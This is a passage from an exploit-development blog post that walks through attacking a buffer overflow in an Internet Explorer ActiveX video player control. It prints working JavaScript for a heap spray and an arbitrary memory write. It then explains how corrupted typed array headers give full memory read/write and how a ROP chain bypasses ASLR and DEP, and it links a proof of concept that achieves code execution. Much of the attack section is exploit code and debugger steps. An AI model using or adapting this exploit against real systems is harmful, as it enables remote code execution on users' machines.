<p>We can use the following to abuse the call to <strong>_memcpy</strong>, perform an arbitrary write and return without a
crash into the JavaScript context. We
<a href="http://www.exploit-monday.com/2011/08/targeted-heap-spraying-0x0c0c0c0c-is.html" target=_blank>spray</a>
<a href="http://ekoparty.org/archive/2013/charlas/IE%20JS%20Strings.pptx" target=_blank>the</a>
<a href="https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/" target=_blank>heap</a>
first and then write <strong>0xcafebabe</strong> to
address <strong>0x1010102C</strong> using <strong>SetText</strong> and <strong>SetFontName</strong>:</p>

<p><a name=stringspray></a></p>

<figure class='code'><figcaption><span>JavaScript code to perform arbitrary memory write</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="cp">&lt;!DOCTYPE HTML&gt;</span>
</span><span class='line'><span class="nt">&lt;script&gt;</span>
</span><span class='line'><span class="c1">// create VideoPlayer.ocx ActiveX Object</span>
</span><span class='line'><span class="kd">var</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;object&quot;</span><span class="p">);</span>
</span><span class='line'><span class="nx">obj</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">&quot;classid&quot;</span><span class="p">,</span> <span class="s2">&quot;clsid:4B3476C6-185A-4D19-BB09-718B565FA67B&quot;</span><span class="p">);</span>
</span><span class='line'>
</span><span class='line'><span class="c1">// spray the heap with 512M to allocate memory around 0x10101020</span>
</span><span class='line'><span class="nx">data</span> <span class="o">=</span> <span class="s2">&quot;\u2222\u2222&quot;</span> <span class="c1">// use 0x22222222 as filler</span>
</span><span class='line'><span class="k">while</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="mh">0x80000</span><span class="p">){</span><span class="nx">data</span> <span class="o">+=</span> <span class="nx">data</span><span class="p">}</span>
</span><span class='line'><span class="nx">div</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
</span><span class='line'><span class="k">for</span> <span class="p">(</span><span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span><span class="o">&lt;=</span><span class="mh">0x400</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">){</span>
</span><span class='line'>    <span class="nx">div</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">&quot;attr&quot;</span><span class="o">+</span><span class="nx">i</span><span class="p">,</span> <span class="nx">data</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="mh">0x80000</span> <span class="o">-</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">4</span> <span class="o">-</span> <span class="mh">0x20</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">))</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'><span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Check in WinDbg before write: dc 10101000 L14&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="nx">addr</span> <span class="o">=</span> <span class="s2">&quot;\x20\x10\x10\x10&quot;</span>  <span class="c1">// WHERE TO WRITE (0x10101020 + 0xC)</span>
</span><span class='line'>
</span><span class='line'><span class="c1">// prepare buffer with address we want to write to</span>
</span><span class='line'><span class="nx">ptrBuf</span> <span class="o">=</span> <span class="s2">&quot;&quot;</span>
</span><span class='line'><span class="c1">// fill buffer: length = relative ptr address - buffer start + ptr offset</span>
</span><span class='line'><span class="k">while</span> <span class="p">(</span><span class="nx">ptrBuf</span><span class="p">.</span><span class="nx">length</span> <span class="o">&lt;</span> <span class="p">(</span><span class="mh">0x92068</span> <span class="o">-</span> <span class="mh">0x916a8</span> <span class="o">+</span> <span class="mh">0xC</span><span class="p">)){</span><span class="nx">ptrBuf</span> <span class="o">+=</span> <span class="s2">&quot;A&quot;</span><span class="p">}</span>
</span><span class='line'><span class="nx">ptrBuf</span> <span class="o">+=</span> <span class="nx">addr</span>
</span><span class='line'>
</span><span class='line'><span class="c1">// overflow buffer and overwrite the pointer value after buffer</span>
</span><span class='line'><span class="nx">obj</span><span class="p">.</span><span class="nx">SetText</span><span class="p">(</span><span class="nx">ptrBuf</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c1">// use overwritten pointer to conduct memory write of 4 bytes</span>
</span><span class='line'><span class="nx">obj</span><span class="p">.</span><span class="nx">SetFontName</span><span class="p">(</span><span class="s2">&quot;\xbe\xba\xfe\xca&quot;</span><span class="p">)</span> <span class="c1">// WHAT TO WRITE</span>
</span><span class='line'><span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Check after write: dc 10101000 L14&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="nt">&lt;/script&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p><br>
We can attach
<a href=http://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx
target=_blank>WinDbg</a> to our running Internet Explorer and view the modified
memory starting from <strong>0x10101020</strong> which was previously filled with <strong>0x22222222</strong>:</p>

<p><a href="https://rh0dev.github.io//images/babe.png"><img class="center" src="https://rh0dev.github.io//images/babe.png" title="Modified memory from 0x10101020 to 0x10101031 shown in WinDbg" ></a></p>

<p><br></p>

<h2>Prepare leaks: One array to access &lsquo;em all</h2>

<p>As we can modify any memory arbitrarily (despite the &ldquo;side effect&rdquo; values and
the appending NULL), we can use
<a
href="https://cansecwest.com/slides/2014/The%20Art%20of%20Leaks%20-%20read%20version%20-%20Yoyo.pdf"
target=_blank>tech</a>-<a
 href="https://github.com/tombkeeper/Talks/blob/master/CanSecWest_2014/ROPs_are_for_the_99%25_%5BCSW2014%5D.pdf?raw=true"
target=_blank>niques</a> to make the complete memory
readable and writable from JavaScript.</p>

<h3>(Typed) array heap spray</h3>

<p>Instead of spraying the heap with <a href="#stringspray">strings</a> we use arrays. We create blocks of
memory with a size of 0x10000 bytes which become aligned to <strong>0xXXXX0000</strong>. The
first 0xf000 bytes are filled with a generic
<a href="http://msdn.microsoft.com/en-us/library/ie/k4h76zbx%28v=vs.94%29.aspx" target="_blank">array</a>
and <a href="http://msdn.microsoft.com/en-us/library/ie/br212485%28v=vs.94%29.aspx" target="_blank">typed array</a>
headers (objects) follow which fill the remaining page. As each typed array header
has a size of 0x30 bytes, they become aligned after the generic array data to
<strong>0xXXXXF000</strong>, <strong>0xXXXXF030</strong>, <strong>0xXXXXF060</strong> and so on:</p>

<p><a name="typedheaders"></a>
<a href="https://rh0dev.github.io//images/FWL6.png"><img class="center" src="https://rh0dev.github.io//images/FWL6.png" title="Typed array headers heaplayout" ></a></p>

<p>There&rsquo;s an awesome plugin tool for WinDbg out there called <a
href="https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/"
target="_blank">mona</a>.
Recently it got the
<a href="https://www.corelan.be/index.php/2014/08/16/analyzing-heap-objects-with-mona-py/" target="_blank">ability</a>
 to dump objects in a detailed way. We can see the different elements of
the typed array header. Amongst other fields, each typed
array header has a vtable pointer, a length field, a pointer to its arraybuffer object and to its
arraybuffer. We enter &nbsp;<span class="inlineCode"> !py mona do -a 0x1111f000 -s
0x30 </span>&nbsp; to dump the typed array header at <strong>0x1111F000</strong>:</p>

<p><a name="symtypedheaders"></a>
<a href="https://rh0dev.github.io//images/FWL7.png"><img class="center" src="https://rh0dev.github.io//images/FWL7.png" title="Typed array header shown with mona.py" ></a></p>

<p><br></p>

<h3>Modify typed array headers</h3>

<p>We now trigger the vulnerability such that we overwrite a pointer to an
arraybuffer with a desired value. We choose a value of <strong>0x1111F030</strong> and overwrite the pointer residing at <strong>0x1111F010</strong>.
Thus, we let it point to the subsequent typed array header at <strong>0x1111F030</strong>.
Additionally, we overwrite the length field of the typed array header with one of
our &ldquo;side effect&rdquo; values (0x00000040).</p>

<p>Finding the modified typed array is easy: We iterate over all typed arrays and
check if their first elements are unequal to zero. It is successfull when we
hit the modified array, as its first element points to a typed array vtable. Then
we use the modifed array to change the subsequent typed array header: We set the
length at <strong>0x1111F048</strong> to <strong>0x7fffffff</strong>
and the arraybuffer pointer to the start of process memory, namely <em>0x0</em>. And we can
do this with array element writes (<span class="inlineCode"> arr[k][i][6] = 0x7fffffff </span>
&nbsp; and &nbsp;<span class="inlineCode"> arr[k][i][7] = 0x0 </span>).</p>

<p>After the vulnerability and the subsequent manipulation has taken place, we can
view the typed array headers in WinDbg:</p>

<p><a href="https://rh0dev.github.io//images/FWL8.png"><img class="center" src="https://rh0dev.github.io//images/FWL8.png" title="Manipulated typed array headers" ></a></p>

<p>At that point we have a typed array usable from JavaScript like any other
array but with the ability to get and set the complete memory!</p>

<p><br></p>

<h2>Access arbitrary memory</h2>

<p>As we have a memory readwrite interface we can use it via array accesses to read
and write arbitrary memory.</p>

<h3>Leak memory</h3>

<p>So we can use JavaScript <a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/poc_leaks.html" target="_blank">code</a>
which asks you for an absolute address and returns the content at that address.
If you test it, be aware to supply a mapped address, otherwise you get a crash.</p>

<p>We <a href="#typedheaders">know</a> that there&rsquo;s a vtable at <strong>0x1111F060</strong>. So let&rsquo;s read at
that address by supplying the value &nbsp;<span class="inlineCode"> 0x1111F060
</span>&nbsp; to the prompt box:</p>

<p><a href="https://rh0dev.github.io//images/FWL9.png"><img class="center" src="https://rh0dev.github.io//images/FWL9.png" title="Loop and Leak" ></a></p>

<p>A message box should pop up showing the resulting content interpreted as DWORD:</p>

<p><a href="https://rh0dev.github.io//images/FWL10.png"><img class="center" src="https://rh0dev.github.io//images/FWL10.png" title="vtable leak" ></a></p>

<p>This is consistent with the WinDbg output we saw <a href="#typedheaders">before</a>.</p>

<p><br></p>

<h3>Set and leak objects</h3>

<p>As the heap layout is predictable we can set any object as element into a generic array
and leak its address.
For example, we can put the ActiveX object as first element into the generic array residing below the
page with the manipulated typed array headers. As the array is aligned to
<strong>0x11120000</strong>, we know that the object&rsquo;s pointer is located at <strong>0x11120020</strong> (20 bytes
are occupied by allocation and array metadata). We simply supply
&nbsp;<span class="inlineCode"> 0x11120020/4 </span>&nbsp; as
index to our memory interface array and get the object&rsquo;s address. You can test
it by uncommenting line #102 in the leaking <a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/poc_leaks.html" target="_blank">script</a>
and supplying &nbsp;<span class="inlineCode"> 0x11120020 </span>&nbsp; to the
prompt box. To
verify it with WinDbg, enter &nbsp;<span class="inlineCode"> dd 0x11120020
</span>.</p>

<h3>Dig deep into objects</h3>

<p>When we leak content at a specified address and know that the content is a
pointer itself, we can use the retrieved content as an index into our memory
interface array again. This way, we can subsequently dereference object fields
in order to read and rewrite them.</p>

<p><br>
<a name="RCE"></a></p>

<h2>Code Execution</h2>

<p>Finally it&rsquo;s time to pop some calculators. So there&rsquo;s of course a <a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html" target="_blank">PoC</a> which
achieves code execution and runs calc.exe.</p>

<p>Just a short description what is happening there:</p>

<ul>
<li>We first subsequently leak memory from the ActiveX plugin object and
obtain the base of VideoPlayer.ocx without touching
any import/export tables (line <a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html#L162" target="_blank">#162 to #179</a>).</li>
<li>The location of <strong>VirtualAlloc</strong> and <strong>_memcpy</strong> is obtained (line <a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html#L181" target="_blank">#181/183</a>)</li>
<li>We then put shellcode into an arraybuffer and leak its address dynamically
(<a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html#L210" target="_blank">#210 - #215</a>).</li>
<li>In line <a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html#L231" target="_blank">#231 to #249</a> we build a <a href="http://en.wikipedia.org/wiki/Return-oriented_programming" target="_blank">ROP</a>
chain and fill necessary fields of it. We leak its buffer address as well. At
runtime the ROP chain will allocate executable memory, copy the shellcode to it
and will jump to it. The chain solely uses gadgets from the VideoPlayer.ocx
module.</li>
<li>Afterwards we overwrite a field of the ActiveX object with the address of the
ROP chain to be able to get control of <strong>EIP</strong> (<a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html#L252" target="_blank">#252/253</a>)</li>
<li>To transfer program flow to the ROP chain, we call the ActiveX plugin&rsquo;s
<strong>Play</strong> method inside JavaScript (<a href="https://github.com/rh0dev/expdev/blob/master/x360playerActiveXDataBof/x360_VideoPlayerActiveX_DataBof_full-DEP_ASLR_Bypass.html#L256" target="_blank">#256</a>). This executes <strong>call [EAX + 0x30]</strong> with
<strong>EAX</strong> pointing to the ovewritten field containing the address of our ROP chain.</li>
</ul>


<p>Et voil&agrave;! We&rsquo;ve bypassed full ASLR and DEP and got remote code execution with a
buffer overflow in the data section. Fun!</p>
]]></content>
    
  </entry>
  
</feed>